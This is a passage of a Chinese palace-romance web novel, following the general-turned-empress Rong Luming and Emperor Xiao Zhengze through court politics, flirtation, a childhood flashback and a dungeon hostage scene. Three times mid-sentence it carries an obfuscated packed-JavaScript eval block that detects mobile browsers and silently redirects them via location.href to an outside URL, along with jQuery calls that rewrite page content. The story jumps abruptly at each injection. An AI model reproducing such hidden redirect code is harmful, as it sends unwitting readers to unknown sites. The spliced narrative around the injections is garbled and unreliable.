谁知转个身,竟看见了那执笔的人……容鹿鸣倒是不尴尬,她什么场面没见过。她的官阶在林如柏之上,不待他行礼,她颔首示意后就步出厅堂,他也不多说什么,默默跟在她身后。 东市繁华喧嚷,如意楼位于东市中段。每次返京,除却极少的官场应酬,容鹿鸣喜欢步行外出。她不常着钗裙,常是着了霜色或天青的圆领袍,握一柄短剑,由着了浅朱圆领袍的美盼伴着,看过去,像个飒爽的官宦娘子。 认得她的人都在深宫大宅之中,更不会徒步来这东市。她左逛逛、又看看,甚是惬意。 不时有年轻俊俏的郎君过来搭话,她常是略一叹息,道一句:“小妇人的幼子,前些日子将将学会走路了呐。”数次之后,她的这番表演越发行云流水。 美盼初次听她这般说,险些惊掉下巴,“少将军别胡说!相爷和大将军若是知晓了,非得打死奴婢。” “呦,还打死,谁动过你一个指头不曾?” “那少将军也不能这般!女子名节,您以后还嫁不嫁?” 容鹿鸣听罢只是笑,年岁渐长,生死之事她都已然看淡,并不在意这些。 “少将军不怕孤独终老吗?”在心里压了许久的话,美盼终于小声说了出口。 腕上的佛珠褪在掌中,容鹿鸣拨弄着,弯了弯嘴角:“傻姑娘……”她心里想着的,是石窟崖那尊未算得完全完工的地藏菩萨像,她真想去凿完那一窟。 容鹿鸣真算是“有名无面”,闻其名者众,知其长相者甚少。所以在东市之中,口里嚼着樱桃饆饠,手中托着桂花糯米糕,边行边吃,丝毫不被声名所累。美盼劝也劝不动,只得跟在她身后付钱。 林如柏可与她不同,“京中三公子”,萧正则常在宫中养病,容雅歌人神难亲,和他们相比,林如柏就可亲可爱多了。 坊间都说“看煞林郎”,他曾因走下马车买桂花糯米糕,被围于东市街口,两三个时辰不得脱身。惊动了京兆府,府尹先是派了三队不良人来疏通阻塞,好把这林家小公子尽快“救”出来。可不一会儿,府尹亲自来了,他方才听说,他自己的女儿也悄悄溜出府来看林如柏! 此事之后,意欲觅他为婿者愈众,林小公子翻来覆去就是那一句话:“娶妻当娶容鹿鸣!” 容鹿鸣恨死他了!两位友人的妹妹由于此事,皆要和她割席。京中几家茶馆,还由此事编衍出一部评书,说书处日日座无虚席。 容鹿鸣每日从弘文馆讲学回来,便闭了府门躲风波,真正担心人在家中坐,赐婚天上落,恨不得立即回了南境。 美盼像是看热闹不嫌事大,有回一边帮她研墨一边认真道:“少将军,依奴婢看,林公子恐怕是真心的。” 容鹿鸣横了她一眼:“明日起不许去听书了,听别人转述也不行。” “他可千万别跟过来……”容鹿鸣越走越快,转眼快要走出东市。林如柏又被路人围住,眼看追不上来了,没想到,他高喊了一句:“容少将,缓行!” 这京中有几个容少将?人群立刻激动起来,也怪那评书传得太广,人们笑嘻嘻地拦住了她,把她往林如柏那里推。 幸好美盼觑得一处缝隙,拉了容鹿鸣挤过去就跑。后面还有人在追,边追边喊:“容少将莫跑,可知林公子心悦于你?”容鹿鸣听得头痛,她和林如柏才说过几句话? 路口西边停了辆马车,甚是眼熟,桐木青帷,帷帐角上绣了只白鹿,是了,是萧正则的马车。容鹿鸣撩开帷帐便躲了进去,果然,萧正则坐在里面,端着只缠枝纹的斗笠盏,正老神在在地饮茶。 容鹿鸣动了下鼻子,是蒙顶甘露。 “饮吗?”萧正则递过自己的茶盏。容鹿鸣一面透过窗缝观瞧,一面接过茶盏饮尽。萧正则阴晴不定的面色稍显和缓。 见追来的人没见着她,便嬉笑着散开了,容鹿鸣松了口气,这才回眸看向萧正则。 “相遇不若凑巧,谢七皇子助我解围了。” 人群吵吵嚷嚷,发生了什么,萧正则都是听到的。 他放下茶盏,却是语气不善:“容讲郎好雅兴,不在相府研习《通鉴》,却来东市招惹林家小公子?” 容鹿鸣气苦,她哪里敢招惹。她一个家世显赫的边关将领,敢和哪个朝臣过从甚密?她若多和林如柏说句话,那些言官纠弹的折子只怕第二天就会递上去。 “臣还真不敢招惹他。”容鹿鸣悻悻道,到时可能还要被质询,真正耽误功夫。 “那便好。”萧正则又倒了盏茶递给她,示意昙现驾车回府。 她不会知道,他是专门来为她解围的。昙现来东市办差,见此情形立即骑马回去通禀。萧正则这才驾了马车来,停在这里装作偶遇。 他本来挺生气——尚拿不准自己为何如此生气。可见她有些狼狈,又对林如柏的行为颇觉不妥,他的怒气瞬间便消弭了。 关于容鹿鸣的旧事,萧正则俱记得清楚。 容鹿鸣没法装糊涂了,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592649|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下特意派林如柏前去巡盐……” 她懂了他的意思, 他却绕开了话题,“林如柏当年,是真的想娶鸣鸣呐。” 容鹿鸣冷哼一声,“陛下,可不能信了茶馆里的说书先生。” “何出此言?”萧正则想听听她怎么说。 话语在胸中转了几转,容鹿鸣开口道:“臣妾的阿耶虽说提携过林舒涟,可……”帝王的心事,即便猜出了,也要装作猜不出。 萧正则就那么看着他,目光不冷不热,似是等着,看她能说出什么大逆不道的话。 “容家先祖追随太祖皇帝,蒙太祖厚恩,得享爵位。又屡蒙圣眷,得以侍立朝堂至今。天赐晋国,治国良才纷至沓来,容家子弟德才有疏,理当抽簪而去,由德才兼备之人辅佐先帝……” 这话是越说越偏,“啪”,薄胎的白玉茶盏磕在漆面的书案上,萧正则低低一句:“说人话。” 容鹿鸣深呼吸,“先帝重用林舒涟,林舒涟尽力为先帝分忧,所举荐之人多为良才,六部之中,堪为股肱……” “啪!”漆面书案上留下个印子,“你何不直接说,先帝扶植林党,掣肘容家。”萧正则声音不大,听不出喜怒。 “臣不敢!”容鹿鸣径直跪下,目光低垂。 “你跪个什么劲,父皇就是这样想的。”萧正则拉她站起来,示意她接着说,却是不叫她坐了。 容鹿鸣话锋一转,“林静涟受了先帝厚恩,必不能有负制衡容家的重责。他知我并无婚嫁打算,却数次提亲,还令小儿子一番情深不寿的表演,无非是既想同容家分袂,又恐世人说他不讲恩义,陛下说,臣妾说的对与不对?”她抬眼看他,目光清冽。 “你竟这般直白的说出来了?” “臣妾先前说林尚书股肱之臣身负皇恩,陛下砸了杯子……” “罢了,”萧正则哼笑,他是密切关注过林如柏的,直觉他用心真挚,曾日日忧心父皇会赐婚他与容鹿鸣。也许他本如容鹿鸣所言,确是要做假戏的,没想到竟动了真情。反观容鹿鸣,叫那样一个迷住半个京师的人诚挚地追求着,却还能理智地审时度势,条条缕缕俱在她心里,清晰得很。 “林如柏同他父亲一般,与容家针锋相对,派他去巡盐筹措军费,你可是有什么担忧?”萧正则换了个问法。 容鹿鸣觉得累,她感到了萧正则隐隐的相逼之意。她完全不想同他交心,更不想参与朝局。她只把自己当做入宫养伤,一边谋划出路。 她在萧正则面前坐下了,未待他恩准。在脑海中,她把林家的亲属关系及这几年的动向过了一遍。 见她面色不好,又沉默地坐下了,萧正则以为她不舒服。他让郁雾每日回话,因而知晓她肩伤尚未痊愈,热症刚好,每日还要服两种汤药。他预备叫郁雾先扶她去休息,却听她悠悠开口。 “陛下,林如柏有个妹妹,叫林乔峤。” 萧正则等着她说下去。 22. 不思干政 “林乔峤也在那道选秀入宫的折子上。派林如柏巡盐之事,陛下确是思虑周全。”容鹿鸣秀眉微舒,放个林家人在身边做质子,她安心许多。当然,她自己同林乔峤一样,容雅歌在北境杀敌,她亦在后宫做着质子。 萧正则感到一丝隐然的不悦,“种种伎俩,还是容讲郎当年教得好。” 容鹿鸣可不敢居功,“臣妾惭愧。”她敛衽施礼。 “虽说林如柏也是个贪墨老手,到底,也是有些手段的。先前在滋兰苑,听淑贵妃说,天下乌鸦一般黑。这新朝之中,竟难选出几个像容家那么干净的。” 举世皆浊我独清?这么大的帽子容家可不敢接。 “陛下怕是记混了,那日是在滋兰苑,说的就是乌鸦呀。淑离妹妹觉得不祥,遂着侍女撵了去的。” “这样吗?鸣鸣可知道,有些事,不能沾上容家的。” 容鹿鸣心中明了,他们都不过是帝王手中之剑。倘若容家陷入泥淖,拖累她与兄长,南北两境战事,兵权纷争,如何处置? 其实多年以来,容家俱是立于“悬崖”之上,且待平了战乱,以功免罪或以功获罪,全在帝王一念之间…… 萧正则仍在龙榻上坐着。装了一整天,容鹿鸣是真累了,委实不想再应付。 写罢最后一字,撂了笔,她施礼道:“字已写毕,不敢扰了陛下休息,臣妾先行退下。”让美盼扶了她,便预备往外走。 “皇后娘娘,夜已深,不如就宿在文华殿吧。”昙现迎过来。 “无妨。”容鹿鸣一径往外走。 “皇后娘娘,陛下今日未翻牌子,您这个时候回去,宫人们可都侧耳听着……”昙现压低声音。 又该白话出多少闲事?容鹿鸣心道。她只得退了回来,“陛下,臣妾伺候您就寝吧。” 萧正则很是惬意,长眉好看地舒展着,羽睫低垂,化去了锐气,显出难得的温柔。 龙榻中央摆了支虎头茉莉。容鹿鸣煞是喜欢,拢在手心抚摸。 “已入秋,仍有此花,真难得。”她低语。 “你可还记得,宫中有暖阁,我曾在那培育此花赠你。” “不是赠予静妃娘娘么?”容鹿鸣脱口而出。 萧正则已在她身侧躺下,闻言笑出声来:“哦,看来鸣鸣是记起了。” 容鹿鸣不敢说话了,她怕萧正则为了做戏做真,说出什么假情深意。 听着身侧,呼吸声都小了,萧正则觉得有趣。“没想到过了这么久,鸣鸣竟都还记得。”他侧过身,曲臂枕于耳侧,看着她。 慌乱之间,她闭目装睡。眼皮却止不住颤动,宛似春风触过的湖面。 “鸣鸣,和那时不同了”,他的身体自如地停在“君子之界”内,薄唇却越了界,在她耳边轻轻说:“我已经是个成年男子了。” 像静静焚着的白檀香,蓦地落了抹香灰下来,煨住她,又烫又绵。虽自小在男人堆里长大,可兵营之中,谁敢这样对她? “唉——”容鹿鸣心里长叹,“怎么和小时候完全不一样了?他那时候多可爱,见到自己还会脸红。”她只想着萧正则当时是害羞怕生,从未想过是因为其他原由。 他顶着这样一张好看的脸,目光清冽如松间之泉,说着如此灼人的话,容鹿鸣可不敢接。于是,裹起锦被,利落翻身。 身后的声音笑着念:“鸣鸣呀鸣鸣。” “唉——我当年教他的可是《通鉴》。都立了君子之约,还这样戏耍!成年了是吧,成年了好啊。”容鹿鸣心说,她办法多着呢。 愿他得享兼美,亦愿他与宋淑离一生一世一双人,坠入梦境前,容鹿鸣想。 清晨,滴漏的清音压着鸟鸣的韵脚。 萧正则醒了,装作犹梦,伸手越过界限,摸到花瓣,“不如她手臂细润”他无端地想,睁开眼睛,一旁的锦被已叠放整齐。 “皇后娘娘天刚亮就离开了。”昙现立在帐外说。 鼻端的茉莉香里多了一丝不易察觉的甜。是她雪肤的气息,萧正则知道。他想到些什么,面色微红。 出了文华殿,坐上肩舆,容鹿鸣才觉得自己走晚了。日头不过刚刚露出一线,整个后宫已然醒了一大半。 路上请安的人不绝如缕,还都喜气洋洋。容鹿鸣起初疑惑,待得听到一个年老的嬷嬷在身后说:“留宿文华殿,就是静妃宠冠后宫时也是没有的。咱们这位皇后娘娘啊,恐怕很快就会有喜讯了……” 容鹿鸣真是哭笑不得,这种万千宠爱于一身的角色,理当是宋淑离才对。 当日午后,日暖风清。昙现奉诏传容鹿鸣去文华殿伺候笔墨。 萧正则相当喜欢她的字,连研的墨,笔触的浓淡都甚得他心。还有那么些许的触动是他不愿承认的,当容鹿鸣坐在他身侧,她的宁静从容便浸染了他,让他觉得排山而来的烦扰不过尔尔。她像一处小而美的庭院,他想时时在那里处着。 萧正则晒着融融的日光,立在髹金漆云龙纹宝座旁等人。 昙现只带了郁雾前来。她在御前敛衽施礼:“陛下,皇后娘娘去御书阁查看典仪书册了,说是得为下个月迎贵女入宫的仪礼做好准备。” “罢了。”萧正则拽了指上纱布。她咬的其实不重,他假装如此,见她恭敬又无奈的样子,比去观几折戏都有趣。 过了一会,内侍来报,说兵部尚书和镇国公一起进宫来了。萧正则搁了笔,传人进来。 第二日午后,昙现去了又来,回道:“陛下,皇后亦在御书阁。” 第三日,昙现领命,直接去了御书阁。 “皇后娘娘,陛下请您去文华殿。” 容鹿鸣埋首于半人多高的古籍中,目不斜视:“烦请昙现公公替我告假,典仪繁复,需条分缕析者众多,今日暂无暇隙。” 昙现余光一挑,心说,怪不得纸絮纷飞,这书……竟是三百年前的。需要考据得这么细致? 他自小跟随萧正则,即便曾低调蛰伏,京中贵女们却哪个不趋之若鹜?这皇后可真是与众不同,而陛下待她,竟也是不同的。 他于是出声提醒:“皇后娘娘,哪有让陛下等的道理?如此良机,旁人盼都盼不来,您怎么还?” 旁人?对呀,还有旁人!容鹿鸣收住上扬的嘴角,歪头、支颐,拢唇轻咳不止。 美盼即刻会意,过来让她靠着,喂她喝些暖茶,“皇后娘娘昨日晚间就有些咳嗽,应是染了风寒。” 容鹿鸣用力喘了几口气:“等我好些了再去陛下面前谢罪,省得过了病气去……” 昙现被容鹿鸣这套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592650|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行云流水的表现惊呆了,从精神抖擞到弱柳扶风也不过一眨眼,可看她病恹恹地靠着女官,又好像真的突发了急症。 “奴才这就为皇后娘娘传了太医来。” “谢过昙现公公,娘娘已自己开了方子,药也已服了。”美盼与容鹿鸣默契极了,应对的话语张口就来。 “那皇后娘娘保重凤体,奴才告退。” 见昙现走远了,容鹿鸣就着美盼的手又喝了几口暖茶,然后坐正,接着看书。 她可不想在这后宫里那么惹眼,不想被萧正则用军情大事试探来去——身为容家“二将”之一,她和哥哥都有暗卫。朝中军中的事她皆知晓,懒得陪萧正则做戏。况且,她也不喜欢代笔录字,又是在他身侧,万一被抓到错处…… 容鹿鸣尤其不喜欢被人逼着写字。 她小时候只挨过一次打,容雅歌动的手。 那回是在月柏轩的书斋里,她两手紧紧扣着紫檀桌沿,脸贴着桌面,横竖不愿动笔,别过头和容雅歌说:“看一遍就记住了,何必要写,更何必要练字?” 容雅歌和她一样过目不忘,却厉声道:“能永远记住?不可能。唯有写下、刻下的,方能恒久。” “这世上有什么是需要永远记住的?” 容雅歌望向窗外翠竹,淡淡道:“很多。” “哦。”他看竹,容鹿鸣看他。 “写!”容雅歌收回视线。 “不!练字有什么好的,我要去澄心湖钓鱼!” 丞相府的百年古园京中闻名,澄心湖中更是有陛下赐下的锦鲤,敢去那钓鱼的,放眼京中,也只有容鹿鸣了。 “这个不上进的!”容雅歌气得血气上涌,把自己前日给她做的小鱼竿取来,抽她的手掌。 容鹿鸣不服,一把小嗓把月柏轩嚎得险些翻过来。白管家正捧着点心匣子往这儿来,匣子里装的都是容鹿鸣喜欢吃的。听到动静,搁了匣子就往正堂跑。 丞相夫人萧郡主闻听此事,气坏了:“这个逆子,这样欺负妹妹,看我不请家法收拾他!”说着就要带着侍女往外走。 容止拦住了她,把个冰糖玛瑙茶盏放到她手中,“夫人消消气,喝口茶。” “不是,夫君,这哪是喝茶的时候?” 容止不说话,也不动作。 郡主懂了,坐到了他身边。 “夫君,她一个女孩儿家,何必对她如此严格。过些年及笄了,找个无勋爵的殷实人家嫁了,就说是庶女,低调地办,不会有人觉察的。然后安稳无忧地过一生,多好。 容止朝妻子微微笑了一下,眼里情绪复杂。 “夫君难道还准备把她的身世告诉她?”郡主按捺不住,急切地问了出口。 “也许,她应当知道,毕竟肩负那责任。” 郡主拉了容止的手,急急地说:“不是这样的,逝去的已不可挽回。何不怜悯活着的人,夫君,鸣鸣已然如同我们的亲生女儿,就让她承欢膝下,别再承担那些了,不好吗?” 容止回握了妻子的手,心里的担忧不能说与她知:容鹿鸣的身份能瞒多久?君子无罪,怀璧其罪。万一她的身份被人所知,权力的纷争中,她必须有自保的能力。 这些思量,他只与独子容雅歌说过。容雅歌深以为然。 23. 隐秘的疯狂(上) 容鹿鸣被容雅歌打了一下,一闹闹到灯烛荧窗。她倔脾气上来了,就是不吃饭,谁来喂都不行。 “反了她了!”容雅歌更生气,锁了院门,把白管家都锁在外面。“就让她饿着,饿死活该!” “哎呦,这可怎么办呦?”白管家正准备翻墙进去送点心,郡主的侍女及时出现,把他叫走了。他忧心忡忡,三步一回头。 “白管家,您放心吧,少爷有分寸的。” 灯烛燃尽,容鹿鸣哭累了,趴在桌子上睡着了。容雅歌一直立在门外,听里面静了,方才推门而入。见她玉白的手掌摊在紫檀桌面上,带泪的小脸枕着另一侧手臂。 容雅歌心疼了。打的时候明明仔细拿捏了力气,怎么掌心还是留了红痕。她把人轻轻抱起放在床上,掖好被角。又起身去自己房中,取了金创药。 容雅歌坐在容鹿鸣床边,轻柔地为她掌心上药。不知想到些什么,他把眉眼贴上她细弱的掌心。 容鹿鸣其实早就醒了,哽着气不想理他。但为此刻,她触到容雅歌俊气的剑眉难得地蹙着,在她掌中。她心疼了,睁开眼睛,抱住他的手臂,“哥哥,鸣鸣知错了,哥哥别难过。” 容雅歌回抱她,按她在心口,“是哥哥不好,以后不会了。”许多话他没法对她说,他不久就要返回战场,无法时时在身旁保护她,虽然容家最精锐的暗卫都留给了她,可他仍不放心。他和父亲都不可能一直护着她,唯有她学会自保,方能在这刀光暗影里偷生。 明里暗里各路势力都在打探容鹿鸣的消息,他还有很多东西要教给她,只怕来不及。他恨不得她一夜长大,有力量立于一方。 容鹿鸣不知他心中所想。 幼时的记忆缺失了一大块,她倒从不在意。阿耶说她小时候皮得很,那年正月十五出府看灯,四个嬷嬷都没看住她。她跟着人流左拥右挤,被个拐子用一根糖葫芦骗走了,卖去了奴隶所。吃了些苦,忘了些事,幸好被哥哥救了回来。 不好的事,忘了便忘了吧。现下,她觉得周遭都是喜乐。若果还有什么希求的话,只希望哥哥不要回去战场。她记得很小的时候,阿耶曾说过:“刀剑无情,一将功成万骨枯……”她不要哥哥这样。 她趴在容雅歌胸前睡熟了,似乎梦到什么,紧紧抱着他。容雅歌倚着黄花梨床柱,隔着锦被轻拍她脊背,为她解着愁梦。 偌大的丞相府里,月柏轩最利于他布置亲卫,容鹿鸣便自小与他住在这里。可这里又能护她多久呢?容家人都不敢细想。 不过月旬,容雅歌奉诏归返战场,这次,一并带走了容鹿鸣。 在御书阁读书半日,容鹿鸣畅快极了。有部五经注疏她觉得写得颇有建树,执了书往外走,想找个机会与老师林思贤论一论。 郁雾从文华殿的方向疾步而来,敛衽行礼后伏在她耳畔低声说:“陛下今晚去淑离殿。” 容鹿鸣翘了嘴角,走路都轻快了。 回到凤仪宫,灯烛已上。今日闲下来,她才发现,自己殿内亦是错银镶金铜鹿灯架,与文华殿一样。书案上、多宝槅中,玉器摆件俱是上等翡翠。花瓶、胆瓶皆是秘色瓷,瓶里总插着盛放的虎头茉莉。那边的乌木边花梨心条案上,甚至还搁着龙凤纹璧紫檀插屏,她记得这是萧正则的心爱之物,不是一直摆在文华殿吗? 这殿里怎么多了这么多东西?转过身还看见樽铜鎏金嵌宝太平有象。 “美盼,这是哪里来的?”容鹿鸣问,明明上午时还没有。看这寓意,当是进贡给陛下的,不该在她殿里。 留侍殿中的女官过来答话:“回皇后娘娘的话,是午后忘筌公公亲自送来的,说是先放在咱们凤仪宫。还说娘娘若是不问便罢了,问就这样回您。” 郁雾奉了茶上来,容鹿鸣端起来饮,薄坯的白瓷茶盏,与前日粉彩的茶盏不同。她好奇地摆过正面来看,竟是墨彩,上面工笔绘着乘槎升仙图。 她半晌未言,在心里打着算盘,这些若是换成银钱,给边境将士们换套冬衣都绰绰有余。自己躲人还躲得富贵盈门,萧正则这是怎么了? 索性坐了下来,容鹿鸣捧着龙凤纹璧细赏,玉质莹润若冰晶,龙凤翩然双舞,几欲破壁而出。 “确实是宝贝。”她又着美盼、郁雾把书架上的名贵古画展开来,准备一幅一幅欣赏,不急不缓。 一边饮茶,一边赏画,惬意极了。 “皇后觉得这画如何?” “先前相府中有幅仿作,我临摹过几次,今日见了真品,才知什么是‘高古游丝描’的极致。” “朕也这样觉得。”萧正则站到容鹿鸣身侧,与她一道赏画。 容鹿鸣浑然未觉,以指作笔,边看画边在虚空里描画。 “美盼,茶。” 递过茶盏的手上有枚和田玉扳指,容鹿鸣多看了几眼,心想:真是上品,比哥哥手上那个成色好。 不对,扳指?她这才抬头,望见萧正则正似笑非笑地看她。他穿了深紫盘金绣便服,革带束腰,配着嵌龙形玉佩鎏金带钩。宽肩窄腰,高大俊雅。平日里不时流露出的锋芒俱被他收在眼底。 “陛下,臣妾知错。”说罢她便要跪。 萧正则扶住她,她当真是恭敬。 “无妨,朕与皇后同赏此画。” 烛光打在画上,也打在她脸上。传世名作《洛神赋图》,他先前觉得,画中美人不输曹子建妙语所述,可此刻却觉得,画中人不如身边人。而那人却浑然不觉己美,只专注于赏画。 她美得太过鲜明,让他觉得屋宇间的华饰都暗淡了。他站远了些,霜色贡锦下的她,看上去可以盈盈一抱。他不想自己冒犯到她。 就着她的茶盏喝了口茶,萧正则环顾殿中摆设,俱是他喜欢的。他把容鹿鸣这里打造成了惬意居所,自己却未意识到。 走到多宝槅边,他余光瞥见有几个摆件被挪动了,俱是其中价值连城的。他不由得轻笑,心说:小时候以为她只会打仗,不曾想讲得经史,还鉴得珍宝。 宫中敲过一更,容鹿鸣猛得醒了,再看自己殿内,她在外间赏画,萧正则在内殿看书。又不对了,容鹿鸣想,走到萧正则身边,“陛下,时候不早了,淑离妹妹怕是还等着呢。” “嗯。”萧正则在看她从御书阁拿回的五经注疏,觉得委实不如她注的好。 见他不动,容鹿鸣唤来了昙现,“昙现公公,快些伺候陛下起驾吧,那边等着呢。” “哪边?朕说今晚去哪了吗?”萧正则没合书,抬眼看了容鹿鸣一眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592651|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “陛下今晚不是要去永安宫?” 萧正则放下书,长眉一挑:“怎么,皇后不欢迎朕?” “臣妾欢喜还来不及呢,可陛下老来这儿,这后宫和睦……” 萧正则不接话,从孔雀蓝釉的笔山上提起笔,“鸣鸣,过来研墨。” “是。”容鹿鸣煞有介事。 她抬手时露出一节手臂,雪肤莹润如白玉,连案上传世的玉璧都黯然失色。萧正则拉她坐于身侧。 “你是皇后,我日日在你这里最和睦。” 容鹿鸣会错了意,连忙道:“陛下且去永安宫,我不在意的。陛下和淑贵妃有情人终成眷属,多难得!诗里云:在天愿作比翼鸟……不对,这句不太恰当。”写个四六、奏疏倒是行,可容鹿鸣自小几乎没读过什么情诗,此刻真是绞尽脑汁。 萧正则看出来了,伏案大笑。昙现也低了头。 “怎么了吗?” “无事无事”,萧正则坐正,笑着把小水丞递于她,“昙现,不许笑了。去传茶点,蜜豆糯米糕和桂花蜜茶。” “是。” 容鹿鸣眉眼弯弯,这些皆是她喜欢的。 萧正则停了笔,看着她。若那些内阁文臣若都能像她这样心思纯正、长于谋算,内政怕是早就稳了,边境亦早已平定。 “郁雾,去和昙现公公说一声,永安宫也送一份茶点去吧。”容鹿鸣说道,边看着萧正则写字,柳眉微蹙。 他于是知道她对他的哪几个笔顺不太满意了,和小时候一样。 “顺道看看淑贵妃服了药未?药贴一定要热到烫手再贴上。”萧正则说,未停笔。 郁雾领命走了。 “淑贵妃受伤了?”容鹿鸣震惊不小。细想之下,册封典礼那天,宋淑离一直由侍女紧紧扶着。她还以为是她的弱柳扶风之美,没想到却是受伤。天子挚爱、镇国公之女,谁敢伤她? 见容鹿鸣欲言又止,萧正则却不解释,继续给容鹿鸣画下的墨竹图题字。 容鹿鸣不会知晓,萧正则返京当日就醒了。他卧在龙榻之上,胸前箭伤刚刚止住血。 彼时昙现呈来一个缂丝锦囊,中有一书:汝之所爱在三王府地牢,戌时即殒命。若想救人,独自前来。 他拼力压下心中惊痛,立即命忘筌带上暗卫去天牢查看。他早有防备,一回京就要把容鹿鸣关入天牢,那里最安全,以防有人想对她不利。 但此刻,她是否安全到达天牢,他不知道,保护她的暗卫尚未回来复命。 他躺在龙榻之上,双目紧闭,心中辗转的,尽是不好的念头:如果…… 心底却也在劝说自己,不过是个女人,若由萧正昀的手除了,自己顺理成章收了容家一半兵权,容雅歌与萧正昀有了杀妹之仇,会更坚定的支持自己。而萧正昀若真的杀死他萧正则潜邸时的王妃,治他个罪最是轻而易举。 这其实是天赐良机,何必担忧! 日头西斜,微暖的夕阳照在他手心,烫得他心里发紧。 “昙现,把殿门关上!” 女官应声而起。 “昙现!” “陛下,奴才在。” “忘筌回来没?” “回陛下的话,还未。” 24. 隐秘的疯狂(下) 萧正则握紧了拳,不觉叹息,各方势力的角逐在他脑海里清晰列阵。如果此时传来容鹿鸣的死讯,于新朝最有利,于他自己的王位最有利。 暮色了,消息全无,福宁宫内安静极了。滴漏声沉重地响,萧正则在等一个决断。 昙现见他面色苍白,忍不住上前问道:“陛下可要传膳?今日午后只服了药,就是饮些热汤也好。” 萧正则睁开眼,勉力坐起来,“昙现,止痛药。” “陛下,不可!容——王妃特别交代过,那药陛下已服用过量,再服的话,恐怕……” “哦,是吗?”其实可去,可不去。他是帝王,为王权舍弃一些人,理所应当。 可当昙现说出那个人,那个人便像在虚空中存在了,触动着他。他可以轻易舍弃一枚棋子,却为什么唯独舍弃不了她? 难道是只能由她死在他自己手里?如同是他亲手栽的花,只能由他掐下,插进瓶中。 “昙现,去把止痛药拿来,快!”他的语气不容置疑,昙现只得遵从。 萧正则把药饮了,浓重的苦味似乎沁进心里。 “你和郁雾守在殿内,不许人进来。” “是。” “我带余下的一批暗卫去趟三王府。” “陛下,不可!”昙现跪倒在地。 “不必再说。” 萧正则换了深青的便服,自枕下抽出柄薄刃匕首——容鹿鸣的匕首,藏于袖中。利刃出鞘,他试了试,止住了痛,他的身手敏捷如初。 已然往外走了,救与不救在他心里却依然没有决断。 旁人眼里,他不顾生死前去寻她,已然说明了一切。可他不这样想。纯粹的理智告诉他,只当这是去送她一程,算是全了当年恩情、师生之谊。 自幼长在阴暗的角落里,他不太明白什么是“所爱”。觉得自己对容鹿鸣不过是某种了然的喜欢,就像舍不得那幅精妙的《洛神赋图》。 萧正昀没料到萧正则来得还算快,见他闲适自如地走进来,这三王府的地牢都仿佛暗自明亮了几分。 “看来七弟,哦不,陛下真是个痴情的种子啊!” “何妨?我和她也算相识一场。若她死在你手里,我也来沾些美人热血留作纪念。”心跳得很快,萧正则面上却挂着笑。 萧正昀身后,笼中之人伏在地上,萧正则担忧她旧伤未愈再添新创。 萧正昀被他惊得一时无话:说是当年为了她差点出家,可这是对待所爱之人的态度? 两人的暗卫都立在周遭,剑拔弩张。 “萧正则,不知你怎得骗得父王信任,竟真的得了王位,就凭你!” 萧正则不说话,此时激怒他不理智。获得父王的信任……他只是查明了静妃同二哥的死皆与宋桓有关,而萧正昀与她关系匪浅。父皇要他发誓为静妃和皇兄报仇,他照做了。 在此之前他从不相信,史官眼中冷漠无情的父皇竟会有钟情——一生唯唯钟情静妃。 绝不能像父皇那样,他提醒自己,怕自己会忍不住答应萧正昀的一切条件,只为救容鹿鸣。 “我也不和你多寒暄了。萧正则,我要皇位!你拿皇位换她的命!” 像抓起只受伤的白鹤般,萧正昀蹲下,扣住笼中人的脖子,把她美丽的脸摁在铁栏杆上。 “怎么样,七弟?我给你时间考虑,每过一刻钟,我就割掉她一块肉,从哪开始呢?先毁了她好看的脸!”萧正昀抽出短到,按在她满是泪痕的脸上。她的嘴被紧紧勒住,只能发出呜呜的声音。 萧正则感到一阵眩晕,然后,他出声地笑了,指着萧正昀。面对面,萧正昀蓦地悚然,他从未见萧正则这样笑。 “昙现,椅子。” 他在萧正昀面前松快地坐下了,“三哥,你刚刚说什么?”在他心里,仍未止住那笑,带点儿自嘲:自己是怎么了?容鹿鸣即使负伤,也不可能轻易被擒,她可是名动天下的少将军!容家最精锐的暗卫,都是她和容雅歌训练的。就凭萧正昀这个废物,能逮住她?自己当是情急之下未及思索。 萧正则端视着萧正昀,权当是看一出戏。那被缚之人不是容鹿鸣。倘若是她又怎样?他只在意她是否伤痛,至于脸——即便撕去艳美的外表,她在他心里依旧好得无以复加。 没有人告诉萧正则,他自己也不曾想,怎么一提所爱之人,他就只想到容鹿鸣。 “萧正则,你怕不是疯了!快给我你的答案,不然我立刻割掉她一块肉!”萧正昀压住惊惶,稍一用力,宋淑离吹弹可破的皮肤便渗出血来。 萧正则整了整衣袍下摆,“三哥请便,三哥割下的每一刀我都会记着,回去清清楚楚地说与镇国公。今日来的暗卫也都看清了,回去好做个见证。 